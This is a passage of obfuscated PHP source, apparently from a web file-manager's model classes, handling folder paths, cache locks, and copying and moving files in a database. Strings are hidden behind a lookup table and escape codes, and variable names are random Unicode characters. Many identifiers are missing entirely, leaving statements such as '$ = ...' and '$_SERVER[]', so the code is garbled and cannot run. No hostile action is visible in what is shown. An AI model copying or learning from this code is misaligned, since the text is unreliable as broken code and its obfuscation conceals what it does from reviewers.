$ɱœ => &$뱧) { if (!is_array($뱧[$ծ[496]])) { continue; } if ($뱧[$ծ[200]] != $ծ[587]) { continue; } if (isset($[$뱧[$ծ[203]]])) { $Ҳ = $[$뱧[$ծ[203]]]; if (!is_array($뱧[$ծ[548]])) { $뱧[$ծ[548]] = array(); } $뱧[$ծ[548]][$ծ[588]] = $Ҳ[$ծ[583]]; $뱧[$ծ[496]][$ծ[589]] = $Ҳ; $뱧[$ծ[496]][$ծ[590]] = $뱧[$ծ[591]]; $뱧[$ծ[496]][$ծ[592]] = $ծ[101]; if ($Ҳ[$ծ[536]] != $Ó) { $뱧[$ծ[496]][$ծ[497]] = $뱧[$ծ[496]][$ծ[497]] & $Ҳ[$ծ[496]][$ծ[496]]; } continue; } $ = $this->parentLevelArray($뱧[$ծ[593]]); $ʕ = array_reverse($); foreach ($ʕ as $¹ => $) { if (!isset($[$])) { continue; } $Ҳ = $[$]; $뱧[$ծ[496]][$ծ[589]] = $Ҳ; if ($Ҳ[$ծ[536]] != $Ó) { $뱧[$ծ[496]][$ծ[497]] = $뱧[$ծ[496]][$ծ[497]] & $Ҳ[$ծ[496]][$ծ[496]]; } $˶΃ = $ծ[12]; $ = count($) - $¹; for ($ʋ = 0; $ʋ < $; $ʋ++) { if (!isset($ϔ[$[$ʋ]])) { $˶΃ = $ծ[12]; break; } $˶΃ = $˶΃ . rtrim($ϔ[$[$ʋ]], $ծ[8]) . $ծ[8]; } $뱧[$ծ[496]][$ծ[590]] = rtrim($˶΃, $ծ[8]) . $ծ[8]; break; } } unset($뱧); } public function groupPathDisplay(&$۶) { $¢ =& $_SERVER[]; if ($۶[$¢[200]] != self::TYPE_GROUP) { return; } $Ƭ = Model($¢[594])->getInfo($۶[$¢[578]]); $榠 = $this->parentLevelArray($Ƭ[$¢[593]]); $ފ = $¢[12]; foreach ($榠 as $脽) { $ = Model($¢[594])->getInfo($脽); $ފ .= $[$¢[100]][$¢[203]] . $¢[50]; } $۶[$¢[595]] = $Ƭ[$¢[202]]; $۶[$¢[596]] = $Ƭ[$¢[593]]; $۶[$¢[597]] = $Ƭ[$¢[598]]; $۶[$¢[599]] = $ފ . $Ƭ[$¢[100]][$¢[203]]; } protected function _listAppendPath(&$Ӟ, $ = false) { $ׄ =& $_SERVER[]; static $ = array(); $һ = array(); $ = array(); if ($) { return $; } foreach ($Ӟ as &$©) { $׸ = $©[$ׄ[203]]; if ($©[$ׄ[494]] == $ׄ[101] && $©[$ׄ[202]] != 0) { $[$׸] = $©[$ׄ[32]]; } if ($©[$ׄ[494]] == $ׄ[101] && $©[$ׄ[202]] == 0) { $[$׸] = $this->_listAppendPathRoot($©, array()); } if (isset($[$©[$ׄ[593]]])) { continue; } $[$©[$ׄ[593]]] = !0; $Ϧ = $this->parentLevelArray($©[$ׄ[593]]); foreach ($Ϧ as $˩ => $͓) { if (isset($[$͓])) { continue; } if ($˩ == 0) { $[$͓] = $this->_listAppendPathRoot($©, $Ϧ); } if ($˩ != 0) { $һ[] = $͓; } } } unset($©); $һ = array_unique($һ); if (count($һ) > 0) { $ޝ = array($ׄ[500] => array($ׄ[501], $һ)); if (count($һ) == 1) { $ć = $this->sourceInfo($һ[0]); $ = is_array($ć) ? array($ć) : !1; } else { $ = $this->field($ׄ[600])->where($ޝ)->select(); } if (!$) { $ = array(); } foreach ($ as $ƞ) { $[$ƞ[$ׄ[203]]] = $ƞ[$ׄ[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($Ӟ as &$©) { $Ț = $©[$ׄ[593]]; $Ჟ = $ׄ[12]; if (isset($[$Ț])) { $Ჟ = $[$Ț]; } else { $Ϧ = $this->parentLevelArray($©[$ׄ[593]]); foreach ($Ϧ as $˩ => $͓) { if (isset($[$͓])) { $Ჟ .= $[$͓] . $ׄ[8]; } } $[$Ț] = $Ჟ; } $Ჟ .= $©[$ׄ[32]]; if ($©[$ׄ[494]] == $ׄ[101]) { $Ჟ .= $ׄ[8]; } $©[$ׄ[591]] = str_replace($ׄ[601], $ׄ[8], $Ჟ); if ($©[$ׄ[202]] == $ׄ[238]) { $©[$ׄ[32]] = trim($[$©[$ׄ[203]]], $ׄ[8]); $©[$ׄ[591]] = $©[$ׄ[32]] . $ׄ[8]; } if (intval($©[$ׄ[200]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($©, $Ϧ, $); } } unset($©); return $Ӟ; } private function _listAppendPathRecycle(&$ӎ, $Ҥ, $) { $ =& $_SERVER[]; if (!in_array($, $Ҥ) && $ӎ[$[203]] != $) { return; } $ڜ = explode($[8], trim($ӎ[$[591]], $[8])); $ = implode($[8], array_slice($ڜ, 2)); $ӎ[$[591]] = $[8] . LNG($[602]) . $[8] . ltrim($, $[8]); $ӎ[$[593]] = $[603] . implode($[50], array_slice($Ҥ, 1)) . $[50]; if ($ӎ[$[203]] == $) { $ӎ[$[593]] = $[603]; $ӎ[$[202]] = $[238]; $ӎ[$[32]] = LNG($[602]); } $ӎ[$[604]] = $[605]; } protected function _listAppendPathRoot(&$, $ݟ) { $驠 =& $_SERVER[]; static $ = false; $ϓ = $驠[12]; if ($[$驠[200]] == self::TYPE_USER) { if ($[$驠[578]] == USER_ID) { $ϓ = LNG($驠[606]); if ($ === !1) { $ = Model($驠[607])->getInfoFull(USER_ID); $ = _get($, $驠[608], $驠[12]); } if ($ݟ && $ݟ[0] == $ || !$ݟ && $[$驠[203]] == $) { $ϓ = LNG($驠[609]); $[$驠[610]] = $驠[611]; } if (!$ݟ) { $[$驠[32]] = $ϓ; } } else { $[$驠[612]] = Model($驠[586])->getInfoSimpleOuter($[$驠[578]]); $ϓ = LNG($驠[613]) . $驠[186] . $[$驠[612]][$驠[32]] . $驠[188]; } } else { if ($[$驠[200]] == self::TYPE_GROUP) { $⒝˖ = Model($驠[594])->getInfoSimple($[$驠[578]]); $ϓ = $⒝˖[$驠[32]]; } else { if ($[$驠[200]] == self::TYPE_SYSTEM) { $ϓ = $驠[614]; } } } $ϓ = $ϓ ? $驠[8] . $ϓ . $驠[8] : $驠[8]; return $ϓ; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[536]); $ = array_to_keyvalue($, $[12], $[538]); $˭Ҩ = array_merge($, $); $ۗο = Model($[607])->userListInfo($˭Ҩ); foreach ($ as &$ꉴ) { $ĿĀ = $ꉴ[$[536]]; $ꉴ[$[536]] = $ۗο[$ĿĀ] ? $ۗο[$ĿĀ] : !1; $ĿĀ = $ꉴ[$[538]]; $ꉴ[$[538]] = $ۗο[$ĿĀ] ? $ۗο[$ĿĀ] : !1; if (_get($ꉴ, $[615], 0)) { $ = $GLOBALS[$[6]][$[102]][$[616]]; if ($ꉴ[$[548]][$[617]] <= time() - $) { $this->metaSet($ꉴ[$[203]], $[618], null); $this->metaSet($ꉴ[$[203]], $[617], null); unset($ꉴ[$[548]][$[618]]); continue; } $ = $ꉴ[$[548]][$[618]]; $ꉴ[$[548]][$[619]] = Model($[607])->getInfoSimpleOuter($); } } unset($ꉴ); } public function parentLevelArray($) { $ȉ =& $_SERVER[]; $ = explode($ȉ[50], trim($, $ȉ[50])); return array_remove_value($, $ȉ[238]); } public function listAll($܉ۿ) { $ =& $_SERVER[]; $܉ꆅ = $this->sourceInfo($܉ۿ); $ý = array($[620] => array($[621], $܉ꆅ[$[593]] . $܉ۿ . $[622]), $[623] => 0); $¯ހ = $[624]; $ƪϵ = "\114\105\x46\124\x20\x4a\117\111\x4e\x20{$this->tablePrefix}\151\x6f\x5f\146\x69\x6c\x65\40\x66\x69\x6c\x65\40\157\156\40\163\157\x75\x72\143\x65\56\x66\x69\x6c\145\111\104\40\x3d\x20\x66\151\x6c\145\56\x66\151\x6c\145\111\x44"; $ُ = $this->alias($[528])->field($¯ހ)->where($ý)->join($ƪϵ)->select(); $this->_listAppendAuth($ُ); $this->_listAppendUser($ُ); $this->_listAppendPath($ُ); $ُ = array_to_keyvalue($ُ, $[203]); $ = "\57{$܉ꆅ[$[32]]}\x2f"; $ = $ == $[601] ? $[8] : $; $ = array(); foreach ($ُ as $ => $㢒х) { $ = $this->parentLevelArray($㢒х[$[593]]); array_shift($); $ = $; for ($ = 0; $ < count($); $++) { $ .= $ُ[$[$]][$[32]] . $[8]; } $ .= $㢒х[$[32]]; if ($㢒х[$[494]]) { $ .= $[8]; } $ǎ = array($[504] => str_replace($[601], $[8], str_replace($[601], $[8], str_replace($[601], $[8], $))), $[625] => intval($㢒х[$[494]]), $[626] => intval($㢒х[$[89]]), $[98] => intval($㢒х[$[98]]), $[100] => $this->pathInfoFilter($㢒х)); if (!$ǎ[$[494]]) { $ǎ[$[550]] = $㢒х[$[550]]; } $[] = $ǎ; } $ = array_sort_by($, $[97]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($ڎ) { $ɼ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($ɼ[627], $ڎ); $ҰЛ = 1; $this->_lockEvent($ڎ, array($ɼ[628], $ɼ[629]), $ҰЛ); $this->_lockParent($ڎ, array($ɼ[629]), $ҰЛ); $this->_lockEvent($ڎ, array($ɼ[630], $ɼ[631]), $ҰЛ); $this->_lockCheckEnd($ɼ[627], $ڎ); } public function lockCopyEnd($ߗ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($ߗ, array($[628], $[629]), $); $this->_lockParent($ߗ, array($[629]), $); $this->_lockEvent($ߗ, array($[630], $[631]), $); } public function lockWriteStart($ʰА, $ۡ = '') { $˂ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($˂[628], $ʰА); $ = 1; $this->_lockKey($˂[632] . $ʰА . $˂[10] . $ۡ, $); $this->_lockEvent($ʰА, array($˂[627], $˂[629]), $); $this->_lockParent($ʰА, array($˂[627], $˂[629]), $); $this->_lockCheckEnd($˂[628], $ʰА); } public function lockWriteEnd($, $ = '') { $ܕ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ذ = 0; $this->_lockKey($ܕ[632] . $ . $ܕ[10] . $, $ذ); $this->_lockEvent($, array($ܕ[627], $ܕ[629]), $ذ); $this->_lockParent($, array($ܕ[627], $ܕ[629]), $ذ); } public function lockMoveStart($˱) { $ַ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($ַ[629], $˱); $̴ = 1; $this->_lockKey($ַ[633] . $˱, $̴); $this->_lockEvent($˱, array($ַ[627], $ַ[628]), $̴); $this->_lockParent($˱, array($ַ[627], $ַ[629]), $̴); $this->_lockEvent($˱, array($ַ[634], $ַ[630], $ַ[631]), $̴); $this->_lockCheckEnd($ַ[629], $˱); } public function lockMoveEnd($䐽) { $Ĥ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($Ĥ[633] . $䐽, $); $this->_lockEvent($䐽, array($Ĥ[627], $Ĥ[628]), $); $this->_lockParent($䐽, array($Ĥ[627], $Ĥ[629]), $); $this->_lockEvent($䐽, array($Ĥ[634], $Ĥ[630], $Ĥ[631]), $); } private function _lockCheck($㈻, $ȅ) { $ =& $_SERVER[]; $ = $this->sourceInfo($ȅ); $ = $㈻ . $[10] . $ȅ; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $ɬ = LNG($[635]); CacheLock::setErrorMsg($[186] . htmlspecialchars($[$[32]]) . $[188] . $ɬ); $this->_lockKey($, 1); $this->_lockKey($, 0); $˧宝 = array_reverse($this->parentLevelArray($[$[593]])); foreach ($˧宝 as $ߎ) { $ = $㈻ . $[636] . $ߎ; if (CacheLock::lockGet($[637] . $)) { $ = $this->sourceInfo($ߎ); CacheLock::setErrorMsg($[186] . htmlspecialchars($[$[32]]) . $[188] . $ɬ); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $ܣң =& $_SERVER[]; $齟 = $ . $ܣң[10] . $; CacheLock::setErrorMsg($ܣң[463]); if (!isset($this->_lockTimeStart[$齟])) { return; } $֏ = timeFloat() - $this->_lockTimeStart[$齟]; unset($this->_lockTimeStart[$齟]); if ($֏ > 0.5) { unset(self::$cacheSourceInfo[$ܣң[542] . $]); } $ = $this->sourceInfo($); if (!$) { show_json(LNG($ܣң[118]), !1); } } private function _lockParent($ݚ, $ϕߨ, $Â) { if (!$this->autoLockSet) { return; } $㑂 = $this->sourceInfo($ݚ); if (!is_array($㑂)) { return; } $߅ = array_reverse($this->parentLevelArray($㑂[$_SERVER[][593]])); foreach ($߅ as $ї) { $this->_lockEvent($ї, $ϕߨ, $Â); } } private function _lockEvent($勶, $ن, $ϔ) { $Ԩ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ن as $) { $޽ƹ = $ . $Ԩ[10] . $勶; if ($ϔ && CacheLock::lockGet($Ԩ[637] . $޽ƹ)) { continue; } $this->_lockKey($޽ƹ, $ϔ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($̟, $ȫٟ = 1) { $栈 = $_SERVER[][637] . md5($̟); if ($ȫٟ) { if (isset(self::$_lockItemArr[$栈])) { return; } self::$_lockItemArr[$栈] = 1; CacheLock::lock($栈, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$栈])) { return; } unset(self::$_lockItemArr[$栈]); CacheLock::unlock($栈); } } public function isParentOf($ķ, $؅) { $ =& $_SERVER[]; $Ȃ = $this->sourceInfo($ķ); $ = $this->sourceInfo($؅); $ = $Ȃ[$[593]] . $Ȃ[$[203]] . $[50]; $ = $[$[593]] . $[$[203]] . $[50]; $ը = strpos($, $) === 0; return $ը; } private $targetIsDelete = 0; public function copy($, $Β, $ = REPEAT_REPLACE, $Ŗ = '') { $Ļǂ =& $_SERVER[]; $񳚥 = $this->sourceInfo($); $о߱ = $this->sourceInfo($Β); if (!$񳚥 || !$о߱ || $о߱[$Ļǂ[494]] != $Ļǂ[101]) { return !1; } if ($this->isParentOf($, $Β)) { return !1; } $ = $Ŗ ? $Ŗ : $񳚥[$Ļǂ[32]]; $this->lockCopyStart($); $this->lockWriteStart($Β, $); $ = array($Ļǂ[638] => array(), $Ļǂ[639] => array(), $Ļǂ[640] => array()); $this->targetIsDelete = intval($񳚥[$Ļǂ[514]]); $Ө = $this->fileNameExistAuto($Β, $񳚥); $ = $this->_copy($, $Β, $, $, !0, $Ŗ); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($Β, $); if ($񳚥[$Ļǂ[494]] == $Ļǂ[101] && $Ө == $) { $this->folderSizeResetChildren($Ө); } Model($Ļǂ[641])->addAll($[$Ļǂ[639]], array(), !0); if ($Ө != $ || $񳚥[$Ļǂ[494]] == $Ļǂ[101]) { Model($Ļǂ[642])->eventCopy($); } $this->saveAll($[$Ļǂ[640]]); Model($Ļǂ[240])->linkAdd($[$Ļǂ[638]]); $this->folderSizeReset($Β); $this->updateModifyTime($Β); return $; } private function _copy($, $, $, &$׊ƞ, $嵧, $ӱ = '') { $ =& $_SERVER[]; $Š߳ = $this->sourceInfoCache($); $ޔ = $Š߳[$[494]] == $[101]; $բÚ = $ӱ ? $ӱ : $Š߳[$[32]]; $Ƃ = $this->fileNameExistAuto($, $Š߳); if ($嵧) { $this->_childrenAllMake($); if ($ޔ && $Ƃ) { $this->_childrenAllMake($Ƃ); } } if (!$Ƃ) { return $this->_copyCreate($, $, $բÚ, $׊ƞ); } $€ = $Ƃ; if ($ޔ) { if ($ == REPEAT_RENAME_FOLDER) { $բÚ = $this->fileNameAutoCache($, $բÚ, $, $ޔ); $€ = $this->_copyCreate($, $, $բÚ, $׊ƞ); } else { $ۯۻ = $this->_childrenList($); foreach ($ۯۻ as $Ⴊ) { $this->_copy($Ⴊ[$[203]], $Ƃ, $, $׊ƞ, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $բÚ = $this->fileNameAutoCache($, $բÚ, $, $ޔ); $€ = $this->_copyCreate($, $, $բÚ, $׊ƞ); } else { if ($ == REPEAT_REPLACE) { $π = $this->sourceInfoCache($Ƃ); $ = $this->fileHistory($π, $Š߳[$[550]], $Š߳[$[89]]); if ($) { $׊ƞ[$[638]][] = $Š߳[$[550]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[643], array($[644], $Š߳, 0)); } return $€; } private function _copyCreate($ӗа, $։, $Д, &$) { $Ʌ =& $_SERVER[]; $ = $this->sourceInfoCache($ӗа); $ = $this->sourceInfoCache($։); $Ϣ = $this->_makeItemData($, $, $Д); Hook::trigger($Ʌ[645], $Ϣ); Hook::trigger($Ʌ[646], array($Ʌ[647], $Ϣ, 0)); $Ҁ = $this->add($Ϣ); $ = array($Ʌ[203] => $Ҁ, $Ʌ[32] => $Д); $this->_copyApplyMeta($, $); if ($[$Ʌ[494]] != $Ʌ[101]) { $[$Ʌ[638]][] = $[$Ʌ[550]]; return $Ҁ; } $̼ = array(); $ = array(); $this->_childrenListAll($ӗа, $̼); $ċ = count($̼); if ($ċ == 0) { return $Ҁ; } $΃ = $this->sourceInfo($Ҁ); foreach ($̼ as $뉉) { $ʟ = $this->_makeItemData($뉉, $΃, $뉉[$Ʌ[32]]); $ʟ[$Ʌ[593]] = $뉉[$Ʌ[593]]; $[] = $ʟ; } $this->chunkEventSet($Ʌ[648], array($Ʌ[649], $Ϣ, $ċ)); $this->addAll($, array(), !1); $Ẃ = $this->where(array($Ʌ[202] => $Ҁ))->select(); $ = $this->_childrenMakeRelation($̼, $Ẃ); $[$ӗа] = $Ҁ; $ٶ = array(); $݄ = array(); foreach ($Ẃ as $뉉) { $Ɔ = $뉉[$Ʌ[203]]; $ = $this->_childrenMatch($, $뉉, $΃); $ٶ[] = array($Ʌ[203], $Ɔ, $Ʌ[202], $[$Ʌ[202]]); $݄[] = array($Ʌ[203], $Ɔ, $Ʌ[593], $[$Ʌ[593]]); $this->_copyApplyMeta($뉉, $); if ($뉉[$Ʌ[494]] != $Ʌ[101]) { $[$Ʌ[638]][] = $뉉[$Ʌ[550]]; } } $this->chunkEventSet($Ʌ[650], array($Ʌ[651], $Ϣ, $ċ)); $this->saveAll($ٶ); $this->chunkEventSet($Ʌ[652], array($Ʌ[653], $Ϣ, $ċ)); $this->saveAll($݄); return $Ҁ; } private function _childrenMakeRelation($︧, $̕) { $֞ =& $_SERVER[]; $ = array(); $񿾍 = array(); foreach ($︧ as $Ʋ) { $ = $Ʋ[$֞[32]] . $֞[8] . $Ʋ[$֞[593]]; $[$] = $Ʋ[$֞[203]]; } foreach ($̕ as $Ʋ) { $ = $Ʋ[$֞[32]] . $֞[8] . $Ʋ[$֞[593]]; $֣ = $[$]; $񿾍[$֣] = $Ʋ[$֞[203]]; } return $񿾍; } private function _childrenMatch($², $ɘ, $) { $ʼ =& $_SERVER[]; $ņ = $[$ʼ[593]]; $Ӑ = $this->parentLevelArray($ɘ[$ʼ[593]]); foreach ($Ӑ as $) { if (isset($²[$])) { $ņ .= $²[$] . $ʼ[654]; } } $ņ = rtrim($ņ, $ʼ[50]) . $ʼ[50]; $ = $this->parentLevelArray($ņ); $ = $[count($) - 1]; return array($ʼ[202] => $, $ʼ[593] => $ņ); } private function _makeItemData($, $, $я) { $ =& $_SERVER[]; $ = array($[655] => $[$[494]], $[503] => $я, $[656] => $[$[495]] ? $[$[495]] : $[12], $[551] => $[$[550]] ? $[$[550]] : 0, $[626] => $[$[89]] ? $[$[89]] : 0, $[657] => intval($[$[200]]), $[658] => intval($[$[578]]), $[659] => intval(USER_ID), $[660] => intval(USER_ID), $[486] => intval($[$[203]]), $[661] => $[$[593]] . $[$[203]] . $[50], $[507] => $[$[98]] ? $[$[98]] : time(), $[513] => 0, $[662] => $[12]); return $; } private function _copyApplyMeta($Р, &$) { $ =& $_SERVER[]; $ڻ = $Р[$[203]]; $蟋 = $Р[$[32]]; if (!isset($Р[$[663]]) || !$Р[$[663]] || $Р[$[663]] == $[238]) { $[$[640]][] = array($[203], $ڻ, $[663], short_id($ڻ)); } if (Input::check($蟋, $[664])) { $[$[639]][] = array($[203] => $ڻ, $[107] => $[547], $[459] => str_replace($[53], $[12], Pinyin::get($蟋))); $[$[639]][] = array($[203] => $ڻ, $[107] => $[546], $[459] => Pinyin::get($蟋, $[665])); } $[$[639]][] = array($[203] => $ڻ, $[107] => $[526], $[459] => KodSort::makeStr($蟋)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($ʓ) { $Ǐ =& $_SERVER[]; $׵֪ = $this->sourceInfo($ʓ); $ݖ = $Ǐ[666]; $؟ = array($Ǐ[593] => array($Ǐ[621], $׵֪[$Ǐ[593]] . $ʓ . $Ǐ[622]), $Ǐ[514] => $this->targetIsDelete); $ִ = $this->field($ݖ)->where($؟)->select(); if (!$ִ) { return; } $ִ = array_to_keyvalue($ִ, $Ǐ[203]); foreach ($ִ as $⊺) { $̱ = $⊺[$Ǐ[202]]; $ʓ = $⊺[$Ǐ[203]]; if (!isset($this->_childrenListCache[$ʓ]) && $⊺[$Ǐ[494]] == $Ǐ[101]) { $this->_childrenListCache[$ʓ] = array(); } if (!isset($this->_childrenListCache[$̱])) { $this->_childrenListCache[$̱] = array(); } $this->_childrenListCache[$̱][$ʓ] = $⊺; $this->_childrenItemCache[$ʓ] = $⊺; } } private function _childrenListAll($׿, &$) { $ʔ =& $_SERVER[]; if (!isset($this->_childrenListCache[$׿])) { return; } $廛 = $this->_childrenListCache[$׿]; foreach ($廛 as $˼ => $) { $[$˼] = $; if ($[$ʔ[494]] == $ʔ[101]) { $this->_childrenListAll($˼, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($Ϻ) { $ =& $_SERVER[]; $ԡ = array($[202] => $Ϻ, $[514] => $this->targetIsDelete); $ⲻ = $this->where($ԡ)->select(); $ⲻ = $ⲻ ? $ⲻ : array(); $ = array_to_keyvalue($ⲻ, $[203]); $this->_childrenListCache[$Ϻ] = $; foreach ($ as $Ϻ => $Ύ) { $this->_childrenItemCache[$Ϻ] = $Ύ; } return $; } private function fileNameExistAuto($őݸ, $) { $뀿 =& $_SERVER[]; if ($[$뀿[514]] == $뀿[101]) { return $this->fileNameExist($őݸ, $[$뀿[32]]); } return $this->fileNameExistCache($őݸ, $[$뀿[32]]); } private function fileNameExistCache($ݠ鈲, $) { $ܾ =& $_SERVER[]; $ = strtolower($); $լ = $this->_childrenList($ݠ鈲); foreach ($լ as $) { if ($ == strtolower($[$ܾ[32]])) { return $[$ܾ[203]]; } } return !1; } private function fileNameAutoCache($݂, $ҽס, $, $ؑ) { $Ӟ =& $_SERVER[]; $׬ = $this->_childrenList($݂); $̍ˤ = array_to_keyvalue($׬, $Ӟ[12], $Ӟ[32]); return $this->fileNameAutoGet($̍ˤ, $ҽס, $, $ؑ); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($ˠ, $Ȭ, $Ѝ = REPEAT_REPLACE, $ = '') { $웅 =& $_SERVER[]; $ = $this->sourceInfo($ˠ); $ȱ̜ = $this->sourceInfo($Ȭ); if ($[$웅[202]] == $ȱ̜[$웅[203]]) { if ($[$웅[514]] == $웅[101]) { Model($웅[512])->restore(array($ˠ)); } if (!$ || $ == $[$웅[32]]) { return $ˠ; } } $ = $this->pathInfoMore($ˠ); if ($this->isParentOf($ˠ, $Ȭ)) { return !1; } if (!$ || !$ȱ̜ || $ȱ̜[$웅[494]] != $웅[101]) { return !1; } Hook::trigger($웅[667], $); $this->targetIsDelete = intval($[$웅[514]]); if ($[$웅[202]] == $Ȭ && $ != $[$웅[32]]) { $遷 = $this->fileNameExist($Ȭ, $); if ($遷 && $[$웅[494]] == $웅[238]) { $ʫ = $this->sourceInfo($遷); $ْ = $this->fileHistory($ʫ, $[$웅[550]], $[$웅[89]]); if (!$ْ) { Model($웅[553])->remove($[$웅[550]]); } $this->removeNow($ˠ, !1); $this->folderSizeReset($Ȭ); Hook::trigger($웅[668], $); return $遷; } } $ = $ ? $ : $[$웅[32]]; $this->lockMoveStart($ˠ); $this->lockWriteStart($Ȭ, $); $꭫ = array($웅[638] => array(), $웅[669] => !1); $this->clearShare($ˠ, $Ȭ); $ = $this->fileNameExistAuto($Ȭ, $); $ѓ = $this->_move($ˠ, $Ȭ, $Ѝ, $꭫, $); $this->sourceCacheClear(); if ($[$웅[494]] == $웅[101] && $) { $this->folderSizeResetChildren($ѓ); } Model($웅[240])->linkAdd($꭫[$웅[638]]); if ($ && $꭫[$웅[669]]) { $this->removeNow($ˠ, !1); } $this->lockMoveEnd($ˠ); $this->lockWriteEnd($Ȭ, $); $this->folderSizeReset($[$웅[202]]); $this->folderSizeReset($Ȭ); $ = array($[$웅[202]], $Ȭ); if ($[$웅[494]] == $웅[101]) { $[] = $ˠ; } $this->updateModifyTime($); Model($웅[642])->eventMove($ˠ, $[$웅[202]], $Ȭ); Hook::trigger($웅[668], $); return $ѓ; } private function _move($, $يDž, $Ǩ, &$߀, $Ѐ = '') { $ǜ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[$ǜ[494]] == $ǜ[101]; $ = $Ѐ ? $Ѐ : $[$ǜ[32]]; $Ί = $this->fileNameExistAuto($يDž, $); $this->lockMoveStart($); $this->lockWriteStart($يDž, $); if (!$Ί) { return $this->_moveForce($, $يDž, $); } $ = $Ί; $ = !1; if ($) { if ($Ǩ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($يDž, $, $Ǩ, $); $ = $this->_moveForce($, $يDž, $); } else { if ($Ǩ == REPEAT_RENAME_FOLDER) { $Ǩ = REPEAT_RENAME; } $դ = $this->_childrenListSelect($); foreach ($դ as $ɮ) { $this->_move($ɮ[$ǜ[203]], $Ί, $Ǩ, $߀); } $ = !0; } } else { if ($Ǩ == REPEAT_SKIP) { $ = !0; } else { if ($Ǩ == REPEAT_RENAME || $Ǩ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($يDž, $, $Ǩ, $); $ = $this->_moveForce($, $يDž, $); } else { if ($Ǩ == REPEAT_REPLACE) { $⠮ = $this->sourceInfoCache($Ί); $͉ = $this->fileHistory($⠮, $[$ǜ[550]], $[$ǜ[89]]); $ = !0; if ($͉) { $߀[$ǜ[638]][] = $[$ǜ[550]]; } } } } } if ($ && !$߀[$ǜ[669]]) { $߀[$ǜ[669]] = !0; } return $; } private function _moveForce($ă, $, $) { $ =& $_SERVER[]; $媅 = $this->sourceInfo($ă); $ = $this->sourceInfo($); $Ǹ = $媅[$[494]] == $[101]; $ = array($[486] => $[$[203]], $[661] => $[$[593]] . $[$[203]] . $[50], $[657] => $[$[200]], $[658] => $[$[578]], $[660] => USER_ID, $[503] => $); $ፀ = $媅[$[200]] == SourceModel::TYPE_GROUP && $[$[200]] == SourceModel::TYPE_GROUP && $媅[$[578]] == $[$[578]]; if (!$ፀ && $this->moveClearAuth) { Model($[576])->authClear($ă); } $ۂ = $媅[$[514]] == $[101] && $[$[514]] != $[101]; if ($ۂ) { $[$[513]] = 0; } if ($Ǹ) { $׳ = array($[661] => array($[621], $媅[$[593]] . $媅[$[203]] . $[622])); $ = $媅[$[593]] . $媅[$[203]] . $[50]; $긏 = $[$[593]] . $[$[203]] . $[50] . $媅[$[203]] . $[50]; $ = array($[661] => array($[670], "\162\145\x70\154\x61\x63\145\50\160\141\x72\145\x6e\164\x4c\x65\x76\x65\154\x2c\47{$}\47\x2c\47{$긏}\x27\51"), $[657] => $[$[200]], $[658] => $[$[578]]); if ($ۂ) { $[$[513]] = 0; } $this->where($׳)->data($)->save(); } $this->where(array($[500] => $ă))->data($)->save(); return $ă; } private function clearShare($ĉ, $ՙ) { $ȢՊ =& $_SERVER[]; $ά = $this->sourceInfo($ĉ); $̤ = $this->sourceInfo($ՙ); if ($ά[$ȢՊ[578]] == $̤[$ȢՊ[578]] && $ά[$ȢՊ[200]] == $ȢՊ[671]) { return; } $ԅ = array($ȢՊ[593] => array($ȢՊ[621], $ά[$ȢՊ[593]] . $ĉ . $ȢՊ[622])); $ѻȸ = $this->field($ȢՊ[500])->where($ԅ)->getField($ȢՊ[203], !0); if (!$ѻȸ) { return; } $ԅ = array($ȢՊ[203] => array($ȢՊ[7], $ѻȸ), $ȢՊ[672] => 1); $ = Model($ȢՊ[673])->field($ȢՊ[674])->where($ԅ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $ȢՊ[12], $ȢՊ[674]); $ԅ = array($ȢՊ[674] => array($ȢՊ[7], $)); Model($ȢՊ[673])->where($ԅ)->save(array($ȢՊ[672] => 0)); Model($ȢՊ[675])->where($ԅ)->delete(); } public function copyFolderFromIO($Ʈ, $, $Ɉĸ, $ݏ۸, $, $ᆣ = false) { $ׅ =& $_SERVER[]; $ = array($ׅ[639] => array(), $ׅ[640] => array(), $ׅ[638] => array(), $ׅ[676] => array()); $ߧꝫ = $ᆣ ? $ᆣ : $Ʈ->pathThis($); $ = $this->fileNameExist($Ɉĸ, $ߧꝫ); $ = $this->mkdir($Ɉĸ, $ߧꝫ, $ݏ۸); if (!$ || $ݏ۸ == REPEAT_RENAME_FOLDER) { $ݏ۸ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($ׅ[677]); $this->_copyChildTo($Ʈ, $, $, $ݏ۸, $, $); Hook::trigger($ׅ[678]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); 